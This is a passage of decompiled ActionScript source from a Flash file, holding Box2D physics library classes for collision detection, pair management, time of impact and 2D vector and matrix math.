if (_local10 > _local11){
_local10 = (_local10 - _local11);
_local12 = (_arg2.x - _arg1.x);
_local13 = (_arg2.y - _arg1.y);
_local14 = Math.sqrt(((_local12 * _local12) + (_local13 * _local13)));
_local12 = (_local12 / _local14);
_local13 = (_local13 / _local14);
_arg2.x = (_arg2.x - (_local11 * _local12));
_arg2.y = (_arg2.y - (_local11 * _local13));
} else {
_local10 = 0;
_arg2.x = _arg1.x;
_arg2.y = _arg1.y;
};
return (_local10);
}
public static function Distance(_arg1:b2Vec2, _arg2:b2Vec2, _arg3:b2Shape, _arg4:b2XForm, _arg5:b2Shape, _arg6:b2XForm):Number{
var _local7:int;
var _local8:int;
_local7 = _arg3.m_type;
_local8 = _arg5.m_type;
if ((((_local7 == b2Shape.e_circleShape)) && ((_local8 == b2Shape.e_circleShape)))){
return (DistanceCC(_arg1, _arg2, (_arg3 as b2CircleShape), _arg4, (_arg5 as b2CircleShape), _arg6));
};
if ((((_local7 == b2Shape.e_polygonShape)) && ((_local8 == b2Shape.e_circleShape)))){
return (DistancePC(_arg1, _arg2, (_arg3 as b2PolygonShape), _arg4, (_arg5 as b2CircleShape), _arg6));
};
if ((((_local7 == b2Shape.e_circleShape)) && ((_local8 == b2Shape.e_polygonShape)))){
return (DistancePC(_arg2, _arg1, (_arg5 as b2PolygonShape), _arg6, (_arg3 as b2CircleShape), _arg4));
};
if ((((_local7 == b2Shape.e_polygonShape)) && ((_local8 == b2Shape.e_polygonShape)))){
return (DistanceGeneric(_arg1, _arg2, (_arg3 as b2PolygonShape), _arg4, (_arg5 as b2PolygonShape), _arg6));
};
return (0);
}
public static function ProcessTwo(_arg1:b2Vec2, _arg2:b2Vec2, _arg3:Array, _arg4:Array, _arg5:Array):int{
var _local6:b2Vec2;
var _local7:b2Vec2;
var _local8:b2Vec2;
var _local9:b2Vec2;
var _local10:b2Vec2;
var _local11:b2Vec2;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
_local6 = _arg5[0];
_local7 = _arg5[1];
_local8 = _arg3[0];
_local9 = _arg3[1];
_local10 = _arg4[0];
_local11 = _arg4[1];
_local12 = -(_local7.x);
_local13 = -(_local7.y);
_local14 = (_local6.x - _local7.x);
_local15 = (_local6.y - _local7.y);
_local16 = Math.sqrt(((_local14 * _local14) + (_local15 * _local15)));
_local14 = (_local14 / _local16);
_local15 = (_local15 / _local16);
_local17 = ((_local12 * _local14) + (_local13 * _local15));
if ((((_local17 <= 0)) || ((_local16 < Number.MIN_VALUE)))){
_arg1.SetV(_local9);
_arg2.SetV(_local11);
_local8.SetV(_local9);
_local10.SetV(_local11);
_local6.SetV(_local7);
return (1);
};
_local17 = (_local17 / _local16);
_arg1.x = (_local9.x + (_local17 * (_local8.x - _local9.x)));
_arg1.y = (_local9.y + (_local17 * (_local8.y - _local9.y)));
_arg2.x = (_local11.x + (_local17 * (_local10.x - _local11.x)));
_arg2.y = (_local11.y + (_local17 * (_local10.y - _local11.y)));
return (2);
}
}
}//package Box2D.Collision
Section 20
//b2Manifold (Box2D.Collision.b2Manifold)
package Box2D.Collision {
import Box2D.Common.Math.*;
import Box2D.Common.*;
public class b2Manifold {
public var points:Array;
public var pointCount:int;// = 0
public var normal:b2Vec2;
public function b2Manifold(){
var _local1:int;
pointCount = 0;
super();
points = new Array(b2Settings.b2_maxManifoldPoints);
_local1 = 0;
while (_local1 < b2Settings.b2_maxManifoldPoints) {
points[_local1] = new b2ManifoldPoint();
_local1++;
};
normal = new b2Vec2();
}
public function Set(_arg1:b2Manifold):void{
var _local2:int;
pointCount = _arg1.pointCount;
_local2 = 0;
while (_local2 < b2Settings.b2_maxManifoldPoints) {
(points[_local2] as b2ManifoldPoint).Set(_arg1.points[_local2]);
_local2++;
};
normal.SetV(_arg1.normal);
}
public function Reset():void{
var _local1:int;
_local1 = 0;
while (_local1 < b2Settings.b2_maxManifoldPoints) {
(points[_local1] as b2ManifoldPoint).Reset();
_local1++;
};
normal.SetZero();
pointCount = 0;
}
}
}//package Box2D.Collision
Section 21
//b2ManifoldPoint (Box2D.Collision.b2ManifoldPoint)
package Box2D.Collision {
import Box2D.Common.Math.*;
public class b2ManifoldPoint {
public var separation:Number;
public var localPoint2:b2Vec2;
public var normalImpulse:Number;
public var tangentImpulse:Number;
public var localPoint1:b2Vec2;
public var id:b2ContactID;
public function b2ManifoldPoint(){
localPoint1 = new b2Vec2();
localPoint2 = new b2Vec2();
id = new b2ContactID();
super();
}
public function Set(_arg1:b2ManifoldPoint):void{
localPoint1.SetV(_arg1.localPoint1);
localPoint2.SetV(_arg1.localPoint2);
separation = _arg1.separation;
normalImpulse = _arg1.normalImpulse;
tangentImpulse = _arg1.tangentImpulse;
id.key = _arg1.id.key;
}
public function Reset():void{
localPoint1.SetZero();
localPoint2.SetZero();
separation = 0;
normalImpulse = 0;
tangentImpulse = 0;
id.key = 0;
}
}
}//package Box2D.Collision
Section 22
//b2OBB (Box2D.Collision.b2OBB)
package Box2D.Collision {
import Box2D.Common.Math.*;
public class b2OBB {
public var R:b2Mat22;
public var center:b2Vec2;
public var extents:b2Vec2;
public function b2OBB(){
R = new b2Mat22();
center = new b2Vec2();
extents = new b2Vec2();
super();
}
}
}//package Box2D.Collision
Section 23
//b2Pair (Box2D.Collision.b2Pair)
package Box2D.Collision {
import Box2D.Common.*;
public class b2Pair {
public var userData;// = null
public var proxyId1:uint;
public var proxyId2:uint;
public var status:uint;
public var next:uint;
public static var e_pairFinal:uint = 4;
public static var b2_tableMask:int = (b2_tableCapacity - 1);
public static var e_pairRemoved:uint = 2;
public static var b2_nullPair:uint = b2Settings.USHRT_MAX;
public static var e_pairBuffered:uint = 1;
public static var b2_nullProxy:uint = b2Settings.USHRT_MAX;
public static var b2_tableCapacity:int = b2Settings.b2_maxPairs;
public function b2Pair(){
userData = null;
super();
}
public function SetBuffered():void{
status = (status | e_pairBuffered);
}
public function IsBuffered():Boolean{
return (((status & e_pairBuffered) == e_pairBuffered));
}
public function IsFinal():Boolean{
return (((status & e_pairFinal) == e_pairFinal));
}
public function ClearRemoved():void{
status = (status & ~(e_pairRemoved));
}
public function SetFinal():void{
status = (status | e_pairFinal);
}
public function IsRemoved():Boolean{
return (((status & e_pairRemoved) == e_pairRemoved));
}
public function ClearBuffered():void{
status = (status & ~(e_pairBuffered));
}
public function SetRemoved():void{
status = (status | e_pairRemoved);
}
}
}//package Box2D.Collision
Section 24
//b2PairCallback (Box2D.Collision.b2PairCallback)
package Box2D.Collision {
public class b2PairCallback {
public function PairRemoved(_arg1, _arg2, _arg3):void{
}
public function PairAdded(_arg1, _arg2){
return (null);
}
}
}//package Box2D.Collision
Section 25
//b2PairManager (Box2D.Collision.b2PairManager)
package Box2D.Collision {
import Box2D.Common.Math.*;
import Box2D.Common.*;
public class b2PairManager {
public var m_pairCount:int;
public var m_pairBuffer:Array;
public var m_callback:b2PairCallback;
public var m_pairs:Array;
public var m_pairBufferCount:int;
public var m_hashTable:Array;
public var m_broadPhase:b2BroadPhase;
public var m_freePair:uint;
public function b2PairManager(){
var _local1:uint;
super();
m_hashTable = new Array(b2Pair.b2_tableCapacity);
_local1 = 0;
while (_local1 < b2Pair.b2_tableCapacity) {
m_hashTable[_local1] = b2Pair.b2_nullPair;
_local1++;
};
m_pairs = new Array(b2Settings.b2_maxPairs);
_local1 = 0;
while (_local1 < b2Settings.b2_maxPairs) {
m_pairs[_local1] = new b2Pair();
_local1++;
};
m_pairBuffer = new Array(b2Settings.b2_maxPairs);
_local1 = 0;
while (_local1 < b2Settings.b2_maxPairs) {
m_pairBuffer[_local1] = new b2BufferedPair();
_local1++;
};
_local1 = 0;
while (_local1 < b2Settings.b2_maxPairs) {
m_pairs[_local1].proxyId1 = b2Pair.b2_nullProxy;
m_pairs[_local1].proxyId2 = b2Pair.b2_nullProxy;
m_pairs[_local1].userData = null;
m_pairs[_local1].status = 0;
m_pairs[_local1].next = (_local1 + 1);
_local1++;
};
m_pairs[int((b2Settings.b2_maxPairs - 1))].next = b2Pair.b2_nullPair;
m_pairCount = 0;
m_pairBufferCount = 0;
}
private function FindHash(_arg1:uint, _arg2:uint, _arg3:uint):b2Pair{
var _local4:b2Pair;
var _local5:uint;
_local5 = m_hashTable[_arg3];
_local4 = m_pairs[_local5];
while (((!((_local5 == b2Pair.b2_nullPair))) && ((Equals(_local4, _arg1, _arg2) == false)))) {
_local5 = _local4.next;
_local4 = m_pairs[_local5];
};
if (_local5 == b2Pair.b2_nullPair){
return (null);
};
return (_local4);
}
private function Find(_arg1:uint, _arg2:uint):b2Pair{
var _local3:uint;
var _local4:uint;
if (_arg1 > _arg2){
_local4 = _arg1;
_arg1 = _arg2;
_arg2 = _local4;
};
_local3 = (Hash(_arg1, _arg2) & b2Pair.b2_tableMask);
return (FindHash(_arg1, _arg2, _local3));
}
private function ValidateBuffer():void{
}
public function Commit():void{
var _local1:b2BufferedPair;
var _local2:int;
var _local3:int;
var _local4:Array;
var _local5:b2Pair;
var _local6:b2Proxy;
var _local7:b2Proxy;
_local3 = 0;
_local4 = m_broadPhase.m_proxyPool;
_local2 = 0;
while (_local2 < m_pairBufferCount) {
_local1 = m_pairBuffer[_local2];
_local5 = Find(_local1.proxyId1, _local1.proxyId2);
_local5.ClearBuffered();
_local6 = _local4[_local5.proxyId1];
_local7 = _local4[_local5.proxyId2];
if (_local5.IsRemoved()){
if (_local5.IsFinal() == true){
m_callback.PairRemoved(_local6.userData, _local7.userData, _local5.userData);
};
_local1 = m_pairBuffer[_local3];
_local1.proxyId1 = _local5.proxyId1;
_local1.proxyId2 = _local5.proxyId2;
_local3++;
} else {
if (_local5.IsFinal() == false){
_local5.userData = m_callback.PairAdded(_local6.userData, _local7.userData);
_local5.SetFinal();
};
};
_local2++;
};
_local2 = 0;
while (_local2 < _local3) {
_local1 = m_pairBuffer[_local2];
RemovePair(_local1.proxyId1, _local1.proxyId2);
_local2++;
};
m_pairBufferCount = 0;
if (b2BroadPhase.s_validate){
ValidateTable();
};
}
public function RemoveBufferedPair(_arg1:int, _arg2:int):void{
var _local3:b2BufferedPair;
var _local4:b2Pair;
_local4 = Find(_arg1, _arg2);
if (_local4 == null){
return;
};
if (_local4.IsBuffered() == false){
_local4.SetBuffered();
_local3 = m_pairBuffer[m_pairBufferCount];
_local3.proxyId1 = _local4.proxyId1;
_local3.proxyId2 = _local4.proxyId2;
m_pairBufferCount++;
};
_local4.SetRemoved();
if (b2BroadPhase.s_validate){
ValidateBuffer();
};
}
private function RemovePair(_arg1:uint, _arg2:uint){
var _local3:b2Pair;
var _local4:uint;
var _local5:uint;
var _local6:b2Pair;
var _local7:uint;
var _local8:uint;
var _local9:*;
if (_arg1 > _arg2){
_local7 = _arg1;
_arg1 = _arg2;
_arg2 = _local7;
};
_local4 = (Hash(_arg1, _arg2) & b2Pair.b2_tableMask);
_local5 = m_hashTable[_local4];
_local6 = null;
while (_local5 != b2Pair.b2_nullPair) {
if (Equals(m_pairs[_local5], _arg1, _arg2)){
_local8 = _local5;
_local3 = m_pairs[_local5];
if (_local6){
_local6.next = _local3.next;
} else {
m_hashTable[_local4] = _local3.next;
};
_local3 = m_pairs[_local8];
_local9 = _local3.userData;
_local3.next = m_freePair;
_local3.proxyId1 = b2Pair.b2_nullProxy;
_local3.proxyId2 = b2Pair.b2_nullProxy;
_local3.userData = null;
_local3.status = 0;
m_freePair = _local8;
m_pairCount--;
return (_local9);
} else {
_local6 = m_pairs[_local5];
_local5 = _local6.next;
};
};
return (null);
}
public function Initialize(_arg1:b2BroadPhase, _arg2:b2PairCallback):void{
m_broadPhase = _arg1;
m_callback = _arg2;
}
public function AddBufferedPair(_arg1:int, _arg2:int):void{
var _local3:b2BufferedPair;
var _local4:b2Pair;
_local4 = AddPair(_arg1, _arg2);
if (_local4.IsBuffered() == false){
_local4.SetBuffered();
_local3 = m_pairBuffer[m_pairBufferCount];
_local3.proxyId1 = _local4.proxyId1;
_local3.proxyId2 = _local4.proxyId2;
m_pairBufferCount++;
};
_local4.ClearRemoved();
if (b2BroadPhase.s_validate){
ValidateBuffer();
};
}
private function AddPair(_arg1:uint, _arg2:uint):b2Pair{
var _local3:uint;
var _local4:b2Pair;
var _local5:uint;
var _local6:uint;
if (_arg1 > _arg2){
_local6 = _arg1;
_arg1 = _arg2;
_arg2 = _local6;
};
_local3 = (Hash(_arg1, _arg2) & b2Pair.b2_tableMask);
_local4 = FindHash(_arg1, _arg2, _local3);
if (_local4 != null){
return (_local4);
};
_local5 = m_freePair;
_local4 = m_pairs[_local5];
m_freePair = _local4.next;
_local4.proxyId1 = _arg1;
_local4.proxyId2 = _arg2;
_local4.status = 0;
_local4.userData = null;
_local4.next = m_hashTable[_local3];
m_hashTable[_local3] = _local5;
m_pairCount++;
return (_local4);
}
private function ValidateTable():void{
}
public static function EqualsPair(_arg1:b2BufferedPair, _arg2:b2BufferedPair):Boolean{
return ((((_arg1.proxyId1 == _arg2.proxyId1)) && ((_arg1.proxyId2 == _arg2.proxyId2))));
}
public static function Hash(_arg1:uint, _arg2:uint):uint{
var _local3:uint;
_local3 = (((_arg2 << 16) & 4294901760) | _arg1);
_local3 = (~(_local3) + ((_local3 << 15) & 4294934528));
_local3 = (_local3 ^ ((_local3 >> 12) & 1048575));
_local3 = (_local3 + ((_local3 << 2) & 4294967292));
_local3 = (_local3 ^ ((_local3 >> 4) & 268435455));
_local3 = (_local3 * 2057);
_local3 = (_local3 ^ ((_local3 >> 16) & 0xFFFF));
return (_local3);
}
public static function Equals(_arg1:b2Pair, _arg2:uint, _arg3:uint):Boolean{
return ((((_arg1.proxyId1 == _arg2)) && ((_arg1.proxyId2 == _arg3))));
}
}
}//package Box2D.Collision
Section 26
//b2Point (Box2D.Collision.b2Point)
package Box2D.Collision {
import Box2D.Common.Math.*;
public class b2Point {
public var p:b2Vec2;
public function b2Point(){
p = new b2Vec2();
super();
}
public function GetFirstVertex(_arg1:b2XForm):b2Vec2{
return (p);
}
public function Support(_arg1:b2XForm, _arg2:Number, _arg3:Number):b2Vec2{
return (p);
}
}
}//package Box2D.Collision
Section 27
//b2Proxy (Box2D.Collision.b2Proxy)
package Box2D.Collision {
public class b2Proxy {
public var overlapCount:uint;
public var lowerBounds:Array;
public var upperBounds:Array;
public var userData;// = null
public var timeStamp:uint;
public function b2Proxy(){
lowerBounds = [uint(0), uint(0)];
upperBounds = [uint(0), uint(0)];
userData = null;
super();
}
public function GetNext():uint{
return (lowerBounds[0]);
}
public function IsValid():Boolean{
return (!((overlapCount == b2BroadPhase.b2_invalid)));
}
public function SetNext(_arg1:uint):void{
lowerBounds[0] = (_arg1 & 0xFFFF);
}
}
}//package Box2D.Collision
Section 28
//b2Segment (Box2D.Collision.b2Segment)
package Box2D.Collision {
import Box2D.Common.Math.*;
public class b2Segment {
public var p1:b2Vec2;
public var p2:b2Vec2;
public function b2Segment(){
p1 = new b2Vec2();
p2 = new b2Vec2();
super();
}
public function TestSegment(_arg1:Array, _arg2:b2Vec2, _arg3:b2Segment, _arg4:Number):Boolean{
var _local5:b2Vec2;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
_local5 = _arg3.p1;
_local6 = (_arg3.p2.x - _local5.x);
_local7 = (_arg3.p2.y - _local5.y);
_local8 = (p2.x - p1.x);
_local9 = (p2.y - p1.y);
_local10 = _local9;
_local11 = -(_local8);
_local12 = (100 * Number.MIN_VALUE);
_local13 = -(((_local6 * _local10) + (_local7 * _local11)));
if (_local13 > _local12){
_local14 = (_local5.x - p1.x);
_local15 = (_local5.y - p1.y);
_local16 = ((_local14 * _local10) + (_local15 * _local11));
if ((((0 <= _local16)) && ((_local16 <= (_arg4 * _local13))))){
_local17 = ((-(_local6) * _local15) + (_local7 * _local14));
if (((((-(_local12) * _local13) <= _local17)) && ((_local17 <= (_local13 * (1 + _local12)))))){
_local16 = (_local16 / _local13);
_local18 = Math.sqrt(((_local10 * _local10) + (_local11 * _local11)));
_local10 = (_local10 / _local18);
_local11 = (_local11 / _local18);
_arg1[0] = _local16;
_arg2.Set(_local10, _local11);
return (true);
};
};
};
return (false);
}
}
}//package Box2D.Collision
Section 29
//b2TimeOfImpact (Box2D.Collision.b2TimeOfImpact)
package Box2D.Collision {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Common.*;
public class b2TimeOfImpact {
public static var s_xf1:b2XForm = new b2XForm();
public static var s_xf2:b2XForm = new b2XForm();
public static var s_p1:b2Vec2 = new b2Vec2();
public static var s_p2:b2Vec2 = new b2Vec2();
public static function TimeOfImpact(_arg1:b2Shape, _arg2:b2Sweep, _arg3:b2Shape, _arg4:b2Sweep):Number{
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:b2Vec2;
var _local18:b2Vec2;
var _local19:int;
var _local20:int;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
var _local26:b2XForm;
var _local27:b2XForm;
var _local28:Number;
var _local29:Number;
var _local30:Number;
var _local31:Number;
_local7 = _arg1.m_sweepRadius;
_local8 = _arg3.m_sweepRadius;
_local9 = _arg2.t0;
_local10 = (_arg2.c.x - _arg2.c0.x);
_local11 = (_arg2.c.y - _arg2.c0.y);
_local12 = (_arg4.c.x - _arg4.c0.x);
_local13 = (_arg4.c.y - _arg4.c0.y);
_local14 = (_arg2.a - _arg2.a0);
_local15 = (_arg4.a - _arg4.a0);
_local16 = 0;
_local17 = s_p1;
_local18 = s_p2;
_local19 = 20;
_local20 = 0;
_local21 = 0;
_local22 = 0;
_local23 = 0;
_local24 = 0;
while (true) {
_local25 = (((1 - _local16) * _local9) + _local16);
_local26 = s_xf1;
_local27 = s_xf2;
_arg2.GetXForm(_local26, _local25);
_arg4.GetXForm(_local27, _local25);
_local23 = b2Distance.Distance(_local17, _local18, _arg1, _local26, _arg3, _local27);
if (_local20 == 0){
if (_local23 > (2 * b2Settings.b2_toiSlop)){
_local24 = (1.5 * b2Settings.b2_toiSlop);
} else {
_local5 = (0.05 * b2Settings.b2_toiSlop);
_local6 = (_local23 - (0.5 * b2Settings.b2_toiSlop));
_local24 = ((_local5 > _local6)) ? _local5 : _local6;
};
};
if (((((_local23 - _local24) < (0.05 * b2Settings.b2_toiSlop))) || ((_local20 == _local19)))){
break;
};
_local21 = (_local18.x - _local17.x);
_local22 = (_local18.y - _local17.y);
_local28 = Math.sqrt(((_local21 * _local21) + (_local22 * _local22)));
_local21 = (_local21 / _local28);
_local22 = (_local22 / _local28);
_local29 = ((((_local21 * (_local10 - _local12)) + (_local22 * (_local11 - _local13))) + (((_local14 < 0)) ? -(_local14) : _local14 * _local7)) + (((_local15 < 0)) ? -(_local15) : _local15 * _local8));
if (_local29 == 0){
_local16 = 1;
break;
};
_local30 = ((_local23 - _local24) / _local29);
_local31 = (_local16 + _local30);
if ((((_local31 < 0)) || ((1 < _local31)))){
_local16 = 1;
break;
};
if (_local31 < ((1 + (100 * Number.MIN_VALUE)) * _local16)){
break;
};
_local16 = _local31;
_local20++;
};
return (_local16);
}
}
}//package Box2D.Collision
Section 30
//ClipVertex (Box2D.Collision.ClipVertex)
package Box2D.Collision {
import Box2D.Common.Math.*;
public class ClipVertex {
public var v:b2Vec2;
public var id:b2ContactID;
public function ClipVertex(){
v = new b2Vec2();
id = new b2ContactID();
super();
}
}
}//package Box2D.Collision
Section 31
//Features (Box2D.Collision.Features)
package Box2D.Collision {
public class Features {
public var _referenceEdge:int;
public var _incidentEdge:int;
public var _flip:int;
public var _incidentVertex:int;
public var _m_id:b2ContactID;
public function get referenceEdge():int{
return (_referenceEdge);
}
public function set incidentVertex(_arg1:int):void{
_incidentVertex = _arg1;
_m_id._key = ((_m_id._key & 4278255615) | ((_incidentVertex << 16) & 0xFF0000));
}
public function get flip():int{
return (_flip);
}
public function get incidentEdge():int{
return (_incidentEdge);
}
public function set referenceEdge(_arg1:int):void{
_referenceEdge = _arg1;
_m_id._key = ((_m_id._key & 4294967040) | (_referenceEdge & 0xFF));
}
public function set flip(_arg1:int):void{
_flip = _arg1;
_m_id._key = ((_m_id._key & 0xFFFFFF) | ((_flip << 24) & 4278190080));
}
public function get incidentVertex():int{
return (_incidentVertex);
}
public function set incidentEdge(_arg1:int):void{
_incidentEdge = _arg1;
_m_id._key = ((_m_id._key & 4294902015) | ((_incidentEdge << 8) & 0xFF00));
}
}
}//package Box2D.Collision
Section 32
//b2Mat22 (Box2D.Common.Math.b2Mat22)
package Box2D.Common.Math {
public class b2Mat22 {
public var col1:b2Vec2;
public var col2:b2Vec2;
public function b2Mat22(_arg1:Number=0, _arg2:b2Vec2=null, _arg3:b2Vec2=null){
var _local4:Number;
var _local5:Number;
col1 = new b2Vec2();
col2 = new b2Vec2();
super();
if (((!((_arg2 == null))) && (!((_arg3 == null))))){
col1.SetV(_arg2);
col2.SetV(_arg3);
} else {
_local4 = Math.cos(_arg1);
_local5 = Math.sin(_arg1);
col1.x = _local4;
col2.x = -(_local5);
col1.y = _local5;
col2.y = _local4;
};
}
public function SetIdentity():void{
col1.x = 1;
col2.x = 0;
col1.y = 0;
col2.y = 1;
}
public function Set(_arg1:Number):void{
var _local2:Number;
var _local3:Number;
_local2 = Math.cos(_arg1);
_local3 = Math.sin(_arg1);
col1.x = _local2;
col2.x = -(_local3);
col1.y = _local3;
col2.y = _local2;
}
public function SetVV(_arg1:b2Vec2, _arg2:b2Vec2):void{
col1.SetV(_arg1);
col2.SetV(_arg2);
}
public function SetZero():void{
col1.x = 0;
col2.x = 0;
col1.y = 0;
col2.y = 0;
}
public function SetM(_arg1:b2Mat22):void{
col1.SetV(_arg1.col1);
col2.SetV(_arg1.col2);
}
public function AddM(_arg1:b2Mat22):void{
col1.x = (col1.x + _arg1.col1.x);
col1.y = (col1.y + _arg1.col1.y);
col2.x = (col2.x + _arg1.col2.x);
col2.y = (col2.y + _arg1.col2.y);
}
public function Abs():void{
col1.Abs();
col2.Abs();
}
public function Copy():b2Mat22{
return (new b2Mat22(0, col1, col2));
}
public function Invert(_arg1:b2Mat22):b2Mat22{
var _local2:Number;
var _local3:Number;
var _local4:Number;
var _local5:Number;
var _local6:Number;
_local2 = col1.x;
_local3 = col2.x;
_local4 = col1.y;
_local5 = col2.y;
_local6 = ((_local2 * _local5) - (_local3 * _local4));
_local6 = (1 / _local6);
_arg1.col1.x = (_local6 * _local5);
_arg1.col2.x = (-(_local6) * _local3);
_arg1.col1.y = (-(_local6) * _local4);
_arg1.col2.y = (_local6 * _local2);
return (_arg1);
}
public function GetAngle():Number{
return (Math.atan2(col1.y, col1.x));
}
public function Solve(_arg1:b2Vec2, _arg2:Number, _arg3:Number):b2Vec2{
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
_local4 = col1.x;
_local5 = col2.x;
_local6 = col1.y;
_local7 = col2.y;
_local8 = ((_local4 * _local7) - (_local5 * _local6));
_local8 = (1 / _local8);
_arg1.x = (_local8 * ((_local7 * _arg2) - (_local5 * _arg3)));
_arg1.y = (_local8 * ((_local4 * _arg3) - (_local6 * _arg2)));
return (_arg1);
}
}
}//package Box2D.Common.Math
Section 33
//b2Math (Box2D.Common.Math.b2Math)
package Box2D.Common.Math {
public class b2Math {
public static const b2Mat22_identity:b2Mat22 = new b2Mat22(0, new b2Vec2(1, 0), new b2Vec2(0, 1));
public static const b2XForm_identity:b2XForm = new b2XForm(b2Vec2_zero, b2Mat22_identity);
public static const b2Vec2_zero:b2Vec2 = new b2Vec2(0, 0);
public static function b2CrossVF(_arg1:b2Vec2, _arg2:Number):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2((_arg2 * _arg1.y), (-(_arg2) * _arg1.x));
return (_local3);
}
public static function AddVV(_arg1:b2Vec2, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2((_arg1.x + _arg2.x), (_arg1.y + _arg2.y));
return (_local3);
}
public static function b2IsValid(_arg1:Number):Boolean{
return (isFinite(_arg1));
}
public static function b2MinV(_arg1:b2Vec2, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2(b2Min(_arg1.x, _arg2.x), b2Min(_arg1.y, _arg2.y));
return (_local3);
}
public static function b2MulX(_arg1:b2XForm, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = b2MulMV(_arg1.R, _arg2);
_local3.x = (_local3.x + _arg1.position.x);
_local3.y = (_local3.y + _arg1.position.y);
return (_local3);
}
public static function b2DistanceSquared(_arg1:b2Vec2, _arg2:b2Vec2):Number{
var _local3:Number;
var _local4:Number;
_local3 = (_arg1.x - _arg2.x);
_local4 = (_arg1.y - _arg2.y);
return (((_local3 * _local3) + (_local4 * _local4)));
}
public static function b2Swap(_arg1:Array, _arg2:Array):void{
var _local3:*;
_local3 = _arg1[0];
_arg1[0] = _arg2[0];
_arg2[0] = _local3;
}
public static function b2AbsM(_arg1:b2Mat22):b2Mat22{
var _local2:b2Mat22;
_local2 = new b2Mat22(0, b2AbsV(_arg1.col1), b2AbsV(_arg1.col2));
return (_local2);
}
public static function SubtractVV(_arg1:b2Vec2, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2((_arg1.x - _arg2.x), (_arg1.y - _arg2.y));
return (_local3);
}
public static function b2MulXT(_arg1:b2XForm, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
var _local4:Number;
_local3 = SubtractVV(_arg2, _arg1.position);
_local4 = ((_local3.x * _arg1.R.col1.x) + (_local3.y * _arg1.R.col1.y));
_local3.y = ((_local3.x * _arg1.R.col2.x) + (_local3.y * _arg1.R.col2.y));
_local3.x = _local4;
return (_local3);
}
public static function b2Abs(_arg1:Number):Number{
return (((_arg1 > 0)) ? _arg1 : -(_arg1));
}
public static function b2Clamp(_arg1:Number, _arg2:Number, _arg3:Number):Number{
return (b2Max(_arg2, b2Min(_arg1, _arg3)));
}
public static function b2AbsV(_arg1:b2Vec2):b2Vec2{
var _local2:b2Vec2;
_local2 = new b2Vec2(b2Abs(_arg1.x), b2Abs(_arg1.y));
return (_local2);
}
public static function MulFV(_arg1:Number, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2((_arg1 * _arg2.x), (_arg1 * _arg2.y));
return (_local3);
}
public static function b2CrossVV(_arg1:b2Vec2, _arg2:b2Vec2):Number{
return (((_arg1.x * _arg2.y) - (_arg1.y * _arg2.x)));
}
public static function b2Dot(_arg1:b2Vec2, _arg2:b2Vec2):Number{
return (((_arg1.x * _arg2.x) + (_arg1.y * _arg2.y)));
}
public static function b2CrossFV(_arg1:Number, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2((-(_arg1) * _arg2.y), (_arg1 * _arg2.x));
return (_local3);
}
public static function AddMM(_arg1:b2Mat22, _arg2:b2Mat22):b2Mat22{
var _local3:b2Mat22;
_local3 = new b2Mat22(0, AddVV(_arg1.col1, _arg2.col1), AddVV(_arg1.col2, _arg2.col2));
return (_local3);
}
public static function b2Distance(_arg1:b2Vec2, _arg2:b2Vec2):Number{
var _local3:Number;
var _local4:Number;
_local3 = (_arg1.x - _arg2.x);
_local4 = (_arg1.y - _arg2.y);
return (Math.sqrt(((_local3 * _local3) + (_local4 * _local4))));
}
public static function b2MulTMM(_arg1:b2Mat22, _arg2:b2Mat22):b2Mat22{
var _local3:b2Vec2;
var _local4:b2Vec2;
var _local5:b2Mat22;
_local3 = new b2Vec2(b2Dot(_arg1.col1, _arg2.col1), b2Dot(_arg1.col2, _arg2.col1));
_local4 = new b2Vec2(b2Dot(_arg1.col1, _arg2.col2), b2Dot(_arg1.col2, _arg2.col2));
_local5 = new b2Mat22(0, _local3, _local4);
return (_local5);
}
public static function b2MaxV(_arg1:b2Vec2, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2(b2Max(_arg1.x, _arg2.x), b2Max(_arg1.y, _arg2.y));
return (_local3);
}
public static function b2IsPowerOfTwo(_arg1:uint):Boolean{
var _local2:Boolean;
_local2 = (((_arg1 > 0)) && (((_arg1 & (_arg1 - 1)) == 0)));
return (_local2);
}
public static function b2ClampV(_arg1:b2Vec2, _arg2:b2Vec2, _arg3:b2Vec2):b2Vec2{
return (b2MaxV(_arg2, b2MinV(_arg1, _arg3)));
}
public static function b2RandomRange(_arg1:Number, _arg2:Number):Number{
var _local3:Number;
_local3 = Math.random();
_local3 = (((_arg2 - _arg1) * _local3) + _arg1);
return (_local3);
}
public static function b2MulTMV(_arg1:b2Mat22, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2(b2Dot(_arg2, _arg1.col1), b2Dot(_arg2, _arg1.col2));
return (_local3);
}
public static function b2Min(_arg1:Number, _arg2:Number):Number{
return (((_arg1 < _arg2)) ? _arg1 : _arg2);
}
public static function b2Random():Number{
return (((Math.random() * 2) - 1));
}
public static function b2MulMM(_arg1:b2Mat22, _arg2:b2Mat22):b2Mat22{
var _local3:b2Mat22;
_local3 = new b2Mat22(0, b2MulMV(_arg1, _arg2.col1), b2MulMV(_arg1, _arg2.col2));
return (_local3);
}
public static function b2NextPowerOfTwo(_arg1:uint):uint{
_arg1 = (_arg1 | ((_arg1 >> 1) & 2147483647));
